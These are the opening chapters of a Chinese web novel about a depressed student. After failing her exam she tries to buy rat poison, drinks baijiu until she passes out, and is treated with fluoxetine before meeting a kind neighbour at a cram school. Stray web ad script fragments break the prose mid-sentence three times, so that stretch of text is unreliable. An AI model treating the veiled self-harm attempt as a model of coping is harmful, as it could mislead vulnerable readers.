《高三慢》 1. 浮梦 6月24日,高考出分。 田知意谎称去学校查成绩,却赖在家附近的咖啡店里,点了一杯意式浓缩,但一口都没有动。 放在桌上的手机间歇地震动,仿如摩托车的车轮在心上反复碾过,是母亲在不停地发消息: 【妈妈:分查到了吗?】 【妈妈:你朱伯伯的儿子已经查到分了,全省700多名。】 【妈妈:准考证放哪儿了?我帮你查。】 【妈妈:我查到了。你回来,我们好好谈谈。】 消息以一张分数加排名的照片做结尾。 田知意看了眼模糊不清的缩略图就滑动退出了对话。 幸好微信没有“已读”功能,否则母亲肯定更为愤怒。 平心而论,除了两位数的数学分数,其他科目成绩倒也算可圈可点,可在江省计算语数外三门总分的高考规则下,打骨折的数学直接让她分数坠地,刺目得教人想不起她还有什么优点。 田知意早已没了思考的力气,透过咖啡店的落地窗,她遥遥看见母亲已经发现了她的位置,目光与她交汇,眼底满是警告。 她没有跑,甚至连动弹一下的念头都没有。 只在母亲走到她面前时,轻轻问了一句:“你怎么知道我在这儿?” 她的声音平静而冷淡,仿佛在问一件发生在别人身上的事。 “我怎么知道你在这儿?”母亲被突然的提问打乱了节奏,强烈的情绪波动让她的声音颤抖,“你刷的是我的卡!” 田知意点点头。 啊,是了,她消费时用的是母亲的副卡,被发现行踪也不奇怪。 大脑似乎变得很迟钝,想事情要比平日里慢上好几拍。 顶着母亲灼灼的目光,她仍是低头抿了口咖啡,只尝到寡淡滋味。 ……味觉好像也失灵了。 田知意陷入了沉默。 卡顿的机器不该多动。 母亲却因为她的卡顿破了防,上前扯了一把:“你怎么回事!之前估分的时候不还说考得不错吗?” 田知意双腿无力,脚底一滑,如泥水般滚落到地上。骨骼与地面碰出脆响,提醒她并不如自己想象的那般柔软。 本就安静的咖啡店一下静极无声,店内的目光如针芒般扎了过来,仿佛田知意是块巨型磁铁。 母亲被这突变惊到了,怔了怔问:“你是没骨头吗?” 细看下她的嘴唇微微地颤抖着,显然还没从最初的惊愕中恢复过来。 田知意慢慢地坐起来,看了看通红的手掌。她的神经反应也变得极慢,好一会儿才感觉到疼痛如海水般倾覆过来。 ……好疼。 “我没有查分。”田知意慢吞吞地从地面上爬起来,拍了拍手,让双手稍微松软一些。 “为什么?”母亲仍在盛怒,火气却正被她的迟钝吞噬。 “我知道数学没考好。”田知意抬起眼盯向母亲,“你把我的痛经药给换了。” 她的声音轻轻的,语气绵软无力。可语义却像重伤的刺客甩出的竭力一击,直抵人近前。 母亲没想到她此时会提及这个,又羞又急:“那种药本来就不能多吃!你看看你现在什么样子,都是吃药吃的!” 田知意往后退了两步。 向来讲究仪态气质的母亲居然激动到唾沫飞溅到她脸上。 母亲真是气坏了。她想。 “数学考试前我大姨妈突然来了,吃了药,不奏效,在考场晕了过去。” 题自然也没怎么写。 田知意觉得自己的解释简明扼要,可惜并没能得到母亲的理解:“怪我是吧?你的意思是你没考好都怪我是吧?我每天辛辛苦苦伺候你,你就拿回来这个成绩,最后怪我是吧?” “我没有那样的意思。” 田知意嘴上这么说着,心里清楚母亲已经破防了。 可她却没有什么得逞的快感,只有期待未及的焦躁。 她不想听一个气急败坏的疯女人嚎啕大哭,这样的场面让她很难堪。她尝试着慢慢地往后退了退,转身离开。 母亲仍在她身后咆哮,她能听清的最后一句话是: “你走,走,走到国外去,一世都别回来了。” 母亲还是如她所料地说出了这句话。 自打数学考试的考场上下来时,她就知道完了。 半个月来,她的脖颈就像被套上了绳套,就等着绳子骤然收紧的时刻。 这一刻,终是来了。 双腿带着她拐进了一家街角小店。 小店里东西不全,很杂,却很有些意外的收获。 田知意在灭鼠药的货架上徘徊许久,突然听到身后传来一声问喝:“小囡在找什么?” 她吓了一跳,差点把耗子药摔在地上。 回头看去,发现是看店的大爷在问她。大爷躺在藤编的躺椅上,面对着老式电视机,边吹风扇边拍着蒲扇,电视里正在播放采访高考学子的新闻。 “家里有老鼠。”田知意撒谎,“买点回去药老鼠。” 大爷从躺椅上抬起头:“耗子药不卖小孩,你拿粘鼠板去,一样的,还便宜。” 田知意想问为什么,却见大爷目光如炬。她当下心虚,怕被大爷看出什么来,便依言换了粘鼠板。 ……要不要换家店看看呢?要是再不卖可怎么办呢? 她正想着,抬头瞥见头顶的高度白酒,立即取下一瓶:“大爷,这俩一起结账,多少钱?” 大爷瞥了一眼,报了数,又补充道:“袋子加两毛。” “不要袋子。” 田知意一面想着反正也不真的要粘鼠板,一面扫了码就要离开,忽听身后传来大爷的声音: “今天高考出分数,别做傻事。” 田知意一愣,立马扭头看向大爷,却见他只斜躺着,眼睛盯着电视机,半分没在看她。 电视里正播着高考查分的温馨提示,田知意弄不清楚大爷是对着新闻有感而发,还是故作随意的好心叮嘱。 她没说话,只暗暗攥紧了刚买的东西。 短短的句子就像是落了地的蒲公英,在她心底迅速扎了根,她想拔掉,又挺疼。 出了小店左拐是条河,这个季节水位很高,岸上挂了警示的彩灯,防止走夜路的人掉落下去。 路上人来人往,阿姨们在附近的广场上跳广场舞。田知意捧着白酒,总觉得周围有盯着她的视线,让她连打开酒瓶都有压力。 她转了几圈,最后在一个僻静的角落坐了下来。 无论是刺鼻的气味,还是辣嘴的口感,绝没有人第一次面对白酒时便能毫无心理负担,田知意当然并不例外。但味蕾的痛苦就好像抢救濒死之人时的电击,反而让她稍有些活力。 田知意重复着抿酒、吞咽、咳嗽的系列动作,等她回过神想站起来时,才意识到天地是旋转的。 ……物质是运动的,天旋地转很合理。 田知意颇为荒诞地想,然后陷入了黑暗。 再次睁开眼时,她正躺在陌生的床上,刚好对上母亲通红的双眼,不知是哭的还是熬的。 田知意脑袋里晕晕的,耳边还自带电流声。她看着疲累的母亲,糊里糊涂地说不出半个字来,母亲也望着她,嘴唇张张合合好几回,最后憋出一句:“我找医生过来看看你。” 她们眼底各自有千言万语,却谁也不知该从何说起。 最终还是医生打破了沉默,他递给田知意一张量表。 田知意看不明白,先看向母亲。 母亲只是说:“听医生的吧。” 田知意又看向医生,医生也只是说:“看着填吧。” 量表上的问题用的都是“没有、有时”等形容程度的词,田知意分不出“有时”和“经常”的区别,也懒得区分,只知道填完后医生便带着母亲离开了病房,说是要单独谈谈。 之后的事田知意已然记不清晰,只记得医生开了氟西汀之类的药,并叮嘱她严格按照剂量吃药。 田知意不用看就知道药物是治疗什么的,她填 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 量表的时候,或许更早就已经意识到自己的不对劲。 但她无所谓。 吃药只需张嘴喝水,又不费什么劲,能换一整天的安静着实再划算不过。 她就像是仰浮在水面上的人,随波逐流,没有方向。 只是静默里就能感觉到皮肤上湿漉漉、凉丝丝的温润感。 平静的日子一直持续到八月底,这日,父亲久违地找到她:“你还打算持续多久?” 药物的效力还不至于挫伤田知意的敏锐,她很快意识到父亲终是对她病恹恹的样子忍无可忍了。 父亲一贯喜欢阳光开朗、充满活力的孩子。 田知意没有说话,她只有觉知的能力,没有应对的气力。 见她混混地不答,父亲便兀自说道:“你还小,总这样也不是个事,高考失利……对你是个打击,我和你妈给你报了个复读班,在高考名城壶州,很多人都说提分很好……从哪里跌倒就从哪里站起来嘛,呵呵。” 父亲干笑两声,试图缓和气氛的尴尬。他觉得自己的交代堪称完美,既表明了意图,又振奋了精神,着实情商极高。 田知意只平静地盯着他,清晰地意识到父母终于要甩脱她这个包袱了。 熟悉的仰浮感再次泛上皮肤,她似乎能看到阳光坠入水中反射来的微弱金色。 不知过了多久,她才轻轻地回答:“好。” 报到这天,田知意被送到了壶州连口镇。父母陪她领了书和讲义,又和班主任聊了聊,便让她回了住处。 据说以她的病情,能有学校收已经不错了。 不过这复读学校既然能设在市重点壶州三中隔壁,想来是不同凡响。 学校里没有宿舍,学生大多在校对面的小区租房,每栋楼甚至每几层楼都是有不同承包人的学生公寓。 田知意便住在这些楼中的一间。 楼道很旧,贴着劣质的瓷砖,有几块还碎了,露出难看的黑缝。 发霉的、腐朽的、令人作呕的气息从水泥墙根处泛出来,是连绵雨天前的恼人气息。 灯光昏暗,田知意看不清路,脚底一滑,打了个旋就坐到了地上。 瓷砖冷硬,臀部先是一凉,很快火烧似的疼了起来。 手中抱着的讲义早就飞了出去,皮纹纸胶装的脊背直接裂开,纸张零落,像是被风强扯下来的叶。 走道里声控灯早就灭了,田知意径自坐在地上,将自己埋在一片阴影里。 不知过了多久,一阵脚步声由远及近,不轻不重的一声跺脚,她头顶的灯倏地亮起。 昏黄的灯光跃过田知意的身躯投下灰黑的影子。 她抬起头,看见一个身着高中校服的少年在眼前。纵使灯光昏暗,她也能勉强辨认出校服胸前绣的“三中”字样。 ……是那所好学校的学生啊。 少年利落地收拾好了田知意散在地上的讲义,拿在手上,走到田知意的面前问:“受伤了吗?” 田知意这才看得清少年的样子,理着干净利落的寸头,眉毛浓密而修长,一双眼亮而深邃,正静静打量着她。 “啊?”田知意这才反应过来,自己现在这个样子着实有些不雅。 地砖被踩踏得极为光滑,田知意怕自己再次摔倒,便小心贴着身后的门,一点点蹭着身起来。 “你好。”少年看着她,自我介绍,“我叫闻漫。你是?” 人如其名,他站得板正,神情却很自然。外套领口的第一粒扣子没有系上,松松地敞开着。 “我叫田知意。” 姑且算是礼节性的回答。 闻漫礼貌点头回应,没有多问,只径自走到门前掏出钥匙。 锁开的瞬间伴随着清脆的“啪嗒”声,头顶灯灭,室内灯亮,光影流转,仿佛世事变幻。 室内的吸顶灯光倾斜着落到田知意的脚尖,她的目光本能地循着光的方向望去。 闻漫侧身站在一片光亮里,回头问她: “你看起来好像很冷,要不要进来喝杯茶?” 2. 浮梦 田知意轻轻地“嗯”了声,声音细若蚊蚋,连她自己都一阵犹疑声音有没有发出来。 所幸闻漫敞开着门,人已经进屋烧水了,四下无人看她。 生病之后,她便觉得精力一日衰颓过一日,能省一分力是一分。 许是这日舟车劳顿,许是身体气血有亏,田知意靠着墙勉强站直,胸口堵堵的喘不过气来。 ……好累。 她的思绪像在冰面上行走,每一步都小心翼翼,且缓慢,仿佛一不小心就会滑往未知的方向。 未知即恐惧,恐惧为深渊。 ……扯远了。 田知意慢吞吞地想着自己该做什么,慢吞吞地给出两个选项: 跟着走进闻漫的家门,或是放他的鸽子逃回家。 放人鸽子不是好选项,会让闻漫生气,影响接下来的交流。但田知意根本无所谓今后的交流,她不想卷入任何社交,因为趁早被人抛弃趁早轻松。 她现在这个状态根本无力维持良好的关系,遑论交友。 闻漫的友善对她而言是种压力。 ……可刚刚为什么没有直接拒绝呢? 只是因为没有拒绝的力气吗? 田知意倚着门,像一只趋光的飞虫,视线本能性地移向对面明亮的室内。 靠近门口的位置有张方桌,下面藏着四张小方凳。再远处靠墙的位置是屋内初始配备的靠背椅,上面已经堆上了收纳盒。 闻漫的屋子不大,被堆得很满,像是小时候看的动画片里的杂货铺,高高的货物堆到天花板上,却井井有条,丝毫不乱。 而她的屋子……田知意知道,是个空空的洞穴,没开灯的时候就是张幽暗的大口,等着她走进再一口吞没。 她连转身开门面对的勇气都没有。 这一番计较,她心下有了答案。 去闻漫的屋里,至少……她还知道接下来是要喝茶。 回她自己的屋……根本不知道要做什么。 ……未知即恐惧。 田知意被恐惧所驱离,抱着书和讲义,踩上了入户垫,轻轻关上了门。 她不知道整个过程她花费了多久,但闻漫始终在厨房烧水,并不曾出来看她一眼,只在进门时妥帖地提前喊了声“不用换鞋”。 在别人看来或许疏离的举动,却无形中让田知意对他多了几分信任。 他是个不多管闲事的,很好。她想。 田知意伸手从方桌下抽出一张方凳,凳子发出“吱呀”的声响,还有些晃动。 ……会散架吗? 田知意在心里问自己,但没想出答案。 她也懒得再试,兀自坐上了方凳。 凳面平移地摇晃着,仿佛平静湖面无风自晃的舟。 田知意下意识地往厨房看去。 闻漫仍在忙碌。 说是厨房,算上边上的冰箱,他面前只一台一水槽一电磁炉而已。 因为没通燃气,便没有隔断的门,和屋里的别的空间没有明显的划分。 据说是为了防止火灾,整栋楼都是没有燃气的。即便是一楼供应餐食的小食堂,用的也是电器。 但终究限电的要求是比学生宿舍宽松得多,起码电磁炉、吹风机能正常使用。 田知意的目光落在咕噜咕噜直冒泡的养生壶上,不知为何,无规则的气泡运动反倒能让她的心绪平静下来。 不知过了多久,闻漫捧了只托盘出来,里面一只玻璃杯,一只马克杯。闻漫将托盘盛马克杯的那边转到田知意面前,杯口迎面,甜香扑鼻。 田知意怔了怔才伸手取了下来。她没立即去喝,只是捧着杯身,暖了暖掌心后才低下头。 和玻璃杯中偏深棕的茶水不同,杯中的液体是奶棕色的,奶香混着浓郁的甜,让田知意想起小孩爱吃的甜食的味道。 ……这样的东西,应该是安全的吧? “我炒了焦糖加在里面,还倒了牛奶,茶叶也没有加太多,应该不会太苦的。” 见她久久不喝,闻漫以为是自己的“别出心裁”把客人吓到了,略显慌忙地解释。 见闻漫这般详细到甚至有些琐碎,田知意突然安下心来。 生病后她有时困倦得睡不醒,有时又挣扎着睡不着,着实与喝不喝茶没有关系。 是她应下了闻漫的邀请,不该让闻漫如此为难。 “不是。”田知意顿了顿,慢慢地回答他,“我只是怕烫。” 她的五官生得明丽,暴瘦后有些凹陷,配上慢条斯理的神态,像只弱不禁风的球关节娃娃,让人的注意力不由得随着她纤细的手指而移动。 与田知意的设想有些出入,或许闻漫是直接加的冷牛奶,奶茶的温度并不算烫口,水牛乳饱满的芬芳与丝滑甜美的焦糖完美地融进了红茶固有的香甜之中,如溪流般在口中连绵地延展,无声顺入喉间心田。 很完美的饮品。田知意想。喝起来很省力。 她沉默着啜吸了几口,唇边逐渐绽开抹笑意,像是路边丛丛的小花:“很好喝。” 花开得柔婉又怯怯,嵌在她欲言又止的神色里。 这样将藏的心事很难不被人读出,更何况对方是闻漫:“你觉得好喝就好……不过,你还有什么需要吗?” “一切都很好,要是……有根吸管就好了……” 她的声音逐渐低了下去,为提了个失礼的请求而不安。 田知意自幼便被父母耳提面命教养规矩,话一出口就知道错了。 ……而且这样的需求很奇怪吧?哪有人会用吸管喝马克杯的奶茶的?而且对方是男生,家里怎么会备有吸管呢…… 自责所带来的局促一下子如潮水般涌来,密密的思绪织成张网,她像是误触蜘蛛网的飞虫,蛛网上的每根丝都有将她绞杀、吸干的能力。 唯一的区别是,杀死飞虫的网来自蜘蛛,杀死她的网却来自自己。 一种名为礼数的东西已然刻进了她的血管里,随着血液流动立体声地咆哮:上门做客无论喜欢不喜欢,都要满脸热情满脸感谢,不能让对方发现你有所不满更不能主动提要求…… 她刚刚打破了规矩,就要面临更加强烈的轰鸣。 田知意不知道这一切从何时起,但等到发觉时,已经滑落到如今的境地。 直到很多年后,她才学会一个词来形容此时的无力。 叫,内耗。 闻漫听了她的话,着手找到剪开的牛奶盒:“牛奶配的吸管可以吗?” 田知意轻轻“嗯”了声,看他握着吸管伸过手来。 他的手掌很宽大,指节也长, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中指侧握笔时积下的厚茧是好学生的证明,指甲根部则长着饱满厚实的白月牙。藏在指节后的掌心泛着樱花色,是生命力的颜色。 ……他一定很健康。 田知意一边在心里默想,一边飞快地取了吸管。 她知道只有身体健康的人才会有双这样的手,不像她惨白的手掌爬满密密的青筋,指甲也干得发枯,有医生说她右手大拇指根部那片是深青的,一看就知道月事来时会痛得厉害。 一旦陷入沉思,她便像一具没有生气的人偶,连眼里的光都失去了,将繁杂的思绪掩藏在一片晦暗的死寂里。 吸管没有拆开,只握在掌心,塑料包装上沾了黏黏的汗。 这是她的安全小屋。 就像是一个风雨大作的傍晚,天色将暗又不至于伸手不见五指,她裹着厚厚的毯子,靠在窗边听疯狂撼动窗棂却吹不进来的风声,看狠砸在玻璃上却只能饮恨滑落的雨点,没有什么能伤害到她的、满满的安全。 当然,这基于外界的干扰只是无法闯入的白噪音。 但是如果是有人,想要强行突破这片安宁呢? 比如此时,她的手机正连续不断地响着。 是楼长褚阿姨发来的送餐消息。 像是有人不停地敲着窗户,大喊着问她好不好。虽然是关心,却让她想驱离。 所幸只是发消息的程度田知意还能应对,她沉默地看着消息跳动,直到彻底停止。 总共发了五六条语音,每条时长在30秒以上。田知意不喜欢听语音,就点开了最后一条语音的转文字。 【楼长:你出去了吗?敲门没人开,晚饭先放你门外了,看到消息之后记得回一下阿姨啊。】 田知意拿起手机,沉思片刻,慢慢地打字:“我知道了,谢谢阿姨。” 想了想,她又补了几个字:“刚刚手机没在身边,没看到。” 又想了想,再补了张可爱的猫咪比心表情包。 这才放下手机。 她打字很快,停顿却要很久。短短的三次发送,总共时长在十多分钟。所幸每两条间隔不超过5分钟,没让微信显示出时间。 十分钟后,褚阿姨回了个emoji表情的“好的”。 田知意将手机搁在一边,重新享受起属于自己的世界。 召唤她再次回到现实的,是一阵强势的、浓郁的、质朴的香气。 那味道就像是暖锋过境时温暖湿润的空气,随着风随着雨水,沉沉地润进鼻腔里,并就此沉淀下来,在唇齿间留一片馥郁醇厚。 田知意的嗅觉的最早被激活的,很快视力也活跃起来,等她回过神时,她才意识到自己近乎以直勾勾的眼神盯着闻漫手中的餐盘。 她看起来一副很饿的样子。 田知意从闻漫脸上读出了这句话。 她讪讪地收回目光,一脸尴尬地不知该如何开口。 ……这天丢人的事情已经足够多了。 如果她的身躯能随她的意识而动,她已经撒丫子跑回了自己的屋,而不是像此刻一样僵硬着躯壳。 馋嘴在田家是一种莫大的罪过。 不过好在闻漫似乎将田知意的反应当作对自己厨艺的肯定,矜持间又流露出些许期待:“尝尝吧?我刚刚才做好的,还是热乎的。” 3. 浮梦 田知意没有拒绝,闻漫就当她同意了。 他取来干净的碗和勺,饭菜均匀地给她舀了小半碗:“这么多可以吗?” 田知意点点头。近来她的胃口忽好忽差,差的时候喝口水就饱了,好的时候又觉得能吃下头牛,暴饮暴食后胀到吐掉,再迎来下一个厌食期。 一个暑假下来,饭没少吃,人倒瘦了一圈。 还好她现在对食物不算很厌烦。 她双手从闻漫那里接过碗筷。鼻尖的香气愈发浓郁起来,挑战着她每一根对食物不感兴趣的神经。 用筷子轻轻打散米饭,饭里硬硬的,应是放过的隔夜饭。在热油中翻滚后,变得更加结实硬朗起来。 田知意从米粒堆上夹取了一小撮,送到口中细细嚼了起来。带着咸香滋味的、柔韧的饭粒有力地摩擦着她的齿间,越嚼越是回甘,是不经意间品出的滋味。 她不讨厌这个味道。 酱油将炒饭里的配菜都染成了同样的颜色,有的能分辨,有的全然认不出。田知意随便吃了点,有笋、香干和肉粒,嚼起来软软弹弹的,中和了不少嚼硬饭粒的麻烦。 ……这是什么炒饭?好特别。 “酱油炒饭,里加了些炒酱。”闻漫的声音恰到好处地出现。 田知意忽地抬头盯着他,心里纳闷着怎么不小心把心里话说了出来。 四目相对,闻漫读出了她眼底的惊惧,知道是自己吓到了人:“我看你很疑惑的样子,以为你在想这件事……” 田知意放下心来。 ……原来没把心里话说出来。 她边想边吃,一个没注意口中,只听“嘎嘣”一声,不知道咬碎了什么。瞬间香气在齿间四溢开,有种浓厚的、醇郁的、带着馨香的富足。 是……花生米? 肉粒、香干、笋块和花生……是田知意没有吃过的搭配。 她想起闻漫刚刚的介绍,突然出声:“炒酱是什么?” 像是没想到她会回答似的,闻漫短暂地一顿,很快回过神来:“我妈以前在沪市跑生意的时候跟当地人学的,先把花生米过了油炸,再将里脊肉、香干和笋块混着炒熟,加入到炒热的甜面酱与油中,和花生一起翻拌上色就能出锅了。” 如此详尽,竟像是闻漫真心想教会田知意这炒酱该怎么做。 田知意从未下过厨,这般介绍便也只记住了食材和调料。 浓油赤酱,想来确实好吃。思忖片刻,她点点头问:“然后炒饭吃吗?” 闻漫略略红了脸:“这是我自创的,他们一般用来拌面,或者做下饭菜。” “……好吃的。” 田知意轻声呢喃。 闻漫像是没有听清,又像是不敢相信田知意的评价:“嗯……什么?” “我说……好吃的。” 她的声音依旧轻轻的,咬字却很清晰,仿佛是春天抽出的新芽,幼嫩但真实存在。 闻漫愣了愣,随后笑出了声。 “那可真是太好了。”他说。 田知意看着他的眼睛,亮亮的,装盛繁星千万。 他好像很高兴。 田知意想。 这么句话就高兴成这样,他可真是个奇怪的人。 但他又是个极好的人。 闻漫真是个……奇怪的好人。 吃过了炒饭,田知意就再也吃不下任何东西。 趁着闻漫去洗碗刷锅,她轻轻打开房门,刚好能看到她的屋门前有塑料袋装好的一次性餐盒,分装一小荤一素及米饭。 她的屋里没有微波炉也没有冰箱,没有妥善保存的可能。 ……就这么扔了也太浪费了。 田知意想了想决定去把饭还给楼长。 就算楼长明天晚上热一热再给她送来也没事。 “你要出去吗?” 闻漫的声音冷不丁地在她身后响起。 田知意回过头,看到他手里提着一红一白两个塑料袋,想来是要去倒垃圾。 闻漫走到门边:“我正要下楼,如果你要出去的话,我们一起。” 田知意没有立即回答。 她沉默得像是座在积聚力量的火山,等待着一瞬间的喷发。 就像此刻——她突然向着闻漫伸出手:“给我吧。” 闻漫一愣,歪头看了看手中的垃圾袋:“你是说……” “我来。” 田知意意外地很坚决。 “这样……谢谢。” 塑料袋的提手被他系成了好看的蝴蝶结,刚好等卡住他的手指不至于脱落。 田知意提捏着接过:“要……垃圾分类吗?” “白色的是生活垃圾,红色的是厨余垃圾,麻烦你了。” 单元楼的拐角处有个清洁亭,里面排着几个垃圾桶,梁上挂着四张指示牌,以“可回收垃圾、厨余垃圾、其他垃圾、有害垃圾”的顺序一字排开。 每张牌下对应着一种颜色的垃圾桶,只有“其他垃圾”牌下是空着的,尘土被滚轮压出清晰的辙痕。 ……应该是被谁推走了。 田知意把红色的垃圾袋扔了,一手拎着白色垃圾袋,一手拎着她还未动过的晚餐,等了一阵,也没等到垃圾桶被推回来。 老是待在清洁亭也不是个办法,况且她手里还有没吃过的、可能就是明天晚餐的食物。 田知意慢慢地蹲下身,想将白色垃圾袋靠在厨余垃圾桶边上。还没等她放好,身后传来石破天惊的一声—— “等一等。” 声音嘹亮、尖锐,愣是盖过了嘈杂的滚轮声。田知意回过头,发现是楼长褚阿姨推着垃圾桶过来了。 “刚刚垃圾桶满了,我推到了换桶的地点。”褚阿姨边解释边把垃圾桶推到指示牌下,“你怎么自己下来倒垃圾了?以后你晚上把垃圾放门口,阿姨送饭的时候帮你收了就是,在我这里订了送餐的学生都是这样的。” “我打算扔了垃圾去找阿姨你的。”田知意慢吞吞地回答,“晚饭我没胃口……” 褚阿姨看着没拆过封的晚餐,眼底闪过一丝心疼,又很快换了副笑颜:“是不是菜式不合口味?要么是刚来连口水土不服?有什么问题跟阿姨说好了,不要不好意思。” “只是……我的身体原因。”田知意将晚餐递给她,“请明晚加热了再给我吧,谢谢。” “那怎么能行?我怎么能让你吃剩饭?” 即便是出于关心,田知意也觉得楼长的表情太过夸张了些。 “没关系的。”田知意轻声回答,“热过的食物更软烂,反而好消化。” "哦,这样……那你可别跟你爸妈讲。"褚阿姨反复叮嘱她,又忍不住感概,“真不愧是来自苏城的丫头,说话细声细气的,真好听。” 田知意倒有些羡慕楼长身上粗粝的生命力,仿佛有使不完的劲。 她们没聊多久就分道扬镳了。 田知意敲响 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了闻漫的房门。 闻漫站在光里迎接她:“你来的刚巧,我才准备好。” 他总能让她觉得自己是被重视的。 田知意重新坐回到桌边。看着闻漫从柜子里找出张白底蓝碎花桌布,抖了抖铺在了桌面上,不大不小,刚刚合适。 晚自习从明晚开始,看来今晚闻漫是打算在这张桌子上学习。 田知意微微凑近,才看清这块桌布是好几块同色系同样式的碎布条拼合在一起的,缝合处针脚很细密。 她轻轻按了按,布料和软,像是小小的乳牙啮过指尖,麻麻酥酥的痒便爬上了心间。 “我妈用碎布头缝的,带出来之前已经洗过了。我妈说……用用旧毕业后好丢掉。” 田知意没多问,只是将摔得七零八落的讲义搬上桌面。 胶装的书籍并不牢靠,经过一摔已然卷了边。 “有胶水吗?”田知意问。 闻漫很快从边上的置物架上找出胶水和大铁夹。 他提供的胶水是老式的液体胶,墨水瓶般的构造,瓶盖上还连着涂抹柄,提拉出胶水时,会拉出长长的丝。 田知意拧开瓶盖,像掭毛笔似的,将涂抹柄上的胶水掭在瓶盖边沿,在书页的边缘仔细地涂抹起来。 她没用过这种液体胶,用起来也不顺手,粘合在一起的页面凹出一个个小坑,像是马蹄飞踏过的泥泞土地。 田知意的指尖一个个往小坑边缘戳过去,用纸巾将多余的胶水擦去,直到将书脊抚平,意外的耐心让她自己都吃惊。 世界被无限放大,她被无限缩小,仿佛在刷一堵坑坑洼洼的墙,这块平整了就刷下一块,没有好坏,只有已完成和未完成。 她将贴好的讲义推到灯下,伸手触到闻漫给的铁夹。 那是只长度堪比田知意手掌的夹子,遍布斑斑的锈迹,边缘的线条同温度一般冷硬。 田知意试着用双手去捏开铁夹,可惜夹子的两瓣纹丝不动。 看起来似乎是铁片锈蚀到了一起。 “我来吧。” 田知意抬起头,只见闻漫接过夹子,铁片在他长而有力的指节中轻易地被分开,像一只被勒住脖子的鹈鹕张开了嘴,一口咬住了讲义。 ……那就是力量。 田知意展开手指看看自己青白色的冰凉手掌,即便刚刚活动过也无法让它温热起来。反倒是一阵倦怠感从脚底翻涌上来。 她控制不住自己的疲惫,趴在讲义上便断了片。 这一睡不知过了许久,她醒来时闻漫正坐在对面奋笔疾书。静谧的房间里只有笔尖划过纸面的“沙沙”声,连呼吸都显得沉重。 久亮的灯光变得昏黄,仰视泛着迷离的青光。 纸张落笔处投下了闻漫淡淡的影子。田知意才注意到他的睫毛也那样密而长,难怪衬得他双眼那般有神。 田知意恍然,差点又要陷入到自己的世界里去。所幸闻漫的及时打断了她:“你有哪里不舒服吗?我去给你倒杯水。” 田知意没有回答,她觉得自己点了头,又不知道僵硬的躯壳能不能将她的意图表达到位。 趴睡太久带来的后果并不美妙。她悄悄擦掉唇边残留的口水,又歪了歪酸疼的脖子。 手机上的时间已经将近十点,她刚结束和梦魇的大战,拖着一身疲累和满腔的戾气,抬眼却看见认真学习的闻漫,面前的水杯里冒着腾腾的热气。 这里的气氛温馨又安宁。 4. 浮梦 对于田知意而言,温馨和安宁就像是一只珍惜却又易碎的陶瓷花瓶,准时却又偏偏不合时宜的闹铃一下子将其打碎。 田知意从包里找出药片,到她服药的点了。 她把药塞进嘴里的同时,迅速灌了一口水。药很容易融化,常常沾在舌头上,又苦又教人犯恶心。 田知意曾想过让医生换成胶囊,起码吃的时候能轻松点。可医生说分散片效果比较好。 于是吃药成了一场争时间的竞赛,她僵硬的身体怎么都赶不上药片融化的速度。 仿佛全世界都在给她添堵。 “该休息了。”闻漫说。 田知意揉了揉眼睛,她有些困倦,但药物的副作用会引起睡眠障碍。 每个服药的夜晚,她都要经历相似的痛楚:渴望入睡的疲累、无法睡着的烦躁和强行压制情绪的药物作用交织在一起,让她就像是标准大气压下严格控制在99℃的水,求不到一场酣畅淋漓的沸腾。 “刚刚睡得好吗?”闻漫关切地看着她。 田知意拍了拍脸,她知道自己的脸色恐怕不大美妙:“睡得有些浅。” 不单单是睡得浅,还有一些称不上是梦的杂念如乌云缠绕头顶,醒来之后已回忆不起,只觉得疲惫异常。 “我有个还不错的歌单,压力大的时候会听。” 听闻漫这么提起,田知意多少有了些兴趣:“嗯?方便发我吗?” 他俩同时拿出手机,见闻漫打开了扫一扫,田知意略微一顿,打开到微信名片。 很快申请发了过来,田知意瞥了眼闻漫的昵称: VOL. “Volume?” 田知意觉得把昵称起为“音量”多少有些离谱,但这是她能想到的相对合理的解释。因为她能想到的另一个解释更为离谱——这个缩写是她在那瓶白酒上见到的,意思是酒精浓度。 “是飞鱼座Volans的缩写。”闻漫的脸红了红,“发音和‘闻’有些相似。” “原来是拉丁缩写。”田知意循着发音在纸上拼出了飞鱼座的拉丁学名,“如果是要起昵称的话……我想到个好的。” 闻漫凑上前,见她划掉了ns后缀,又将o和a换了个位置。 Valo. “什么意思?”闻漫问。 “光。一个来自芬兰的英文名。”田知意趴在桌上,侧着脸看他,“很像……你给我的感觉。” 明媚却不刺眼,温暖却不灼人,刚刚好的亮和希望。 “是吗。”闻漫轻轻地笑了笑,“我喜欢这个英文名。” “那可真是太好啦。”田知意收好她的东西,笑着跟闻漫挥手道别,“那我回去休息啦,今晚谢谢你,晚安。” 她的语气是今晚不曾有过的明快,仿佛雨后绿叶尖尖弹动的水珠。 田知意离开后,闻漫收了收东西准备休息。 这时手机屏幕亮了亮,田知意通过了他的申请。 她的昵称很怪,叫“kaamos”,辅音间有两个元音a,在闻漫的记忆里一时找不出这般配置的单词。 他查了查,是芬兰语中的“极夜”。 刚巧田知意的微信位置填的也是芬兰。 ……芬兰,是她想去的地方吗? 在他思考的间隙,大数据为他推送了好几条关于芬兰的文章,其中有一篇的标题是“芬兰的自杀率为什么那么高”,大概内容是对芬兰的高纬度、低日照时长以及季节性抑郁进行了科普。 文章里对黑暗的表述让闻漫想起了田知意的双眼——黑而幽暗、空洞无神,仿佛是场等不来光明的永夜。 手指在音乐app里一阵找寻,闻漫最后选择了一个偏古典乐的歌单。 愿温暖的曲调能带给她一夜好梦。 即便摆好了生活用品,田知意的屋里依旧显得空荡荡的。 她不讨厌这样的氛围,只是在难以入睡的长夜里,空荡荡的屋子会让她觉得无所事事。 手机响了,是闻漫发来了歌单。 ……他还挺守信用的。 田知意戴上耳机,优雅的小提琴声如温泉水般缓缓将她包裹。第一首是她曾经熟悉到不能再熟悉的曲子。 维瓦尔第的小提琴协奏曲《四季·冬》的第二乐章。 任何学过小提琴的人都不会陌生。 比起第一乐章的狂风大作,第二乐章则温暖得像是围炉煮茶。 尘封许久的往事恍然历历在目,晦暗的思绪里多了些鲜亮的色彩,足以供她细细回味一整晚。 她想念她的小提琴了。 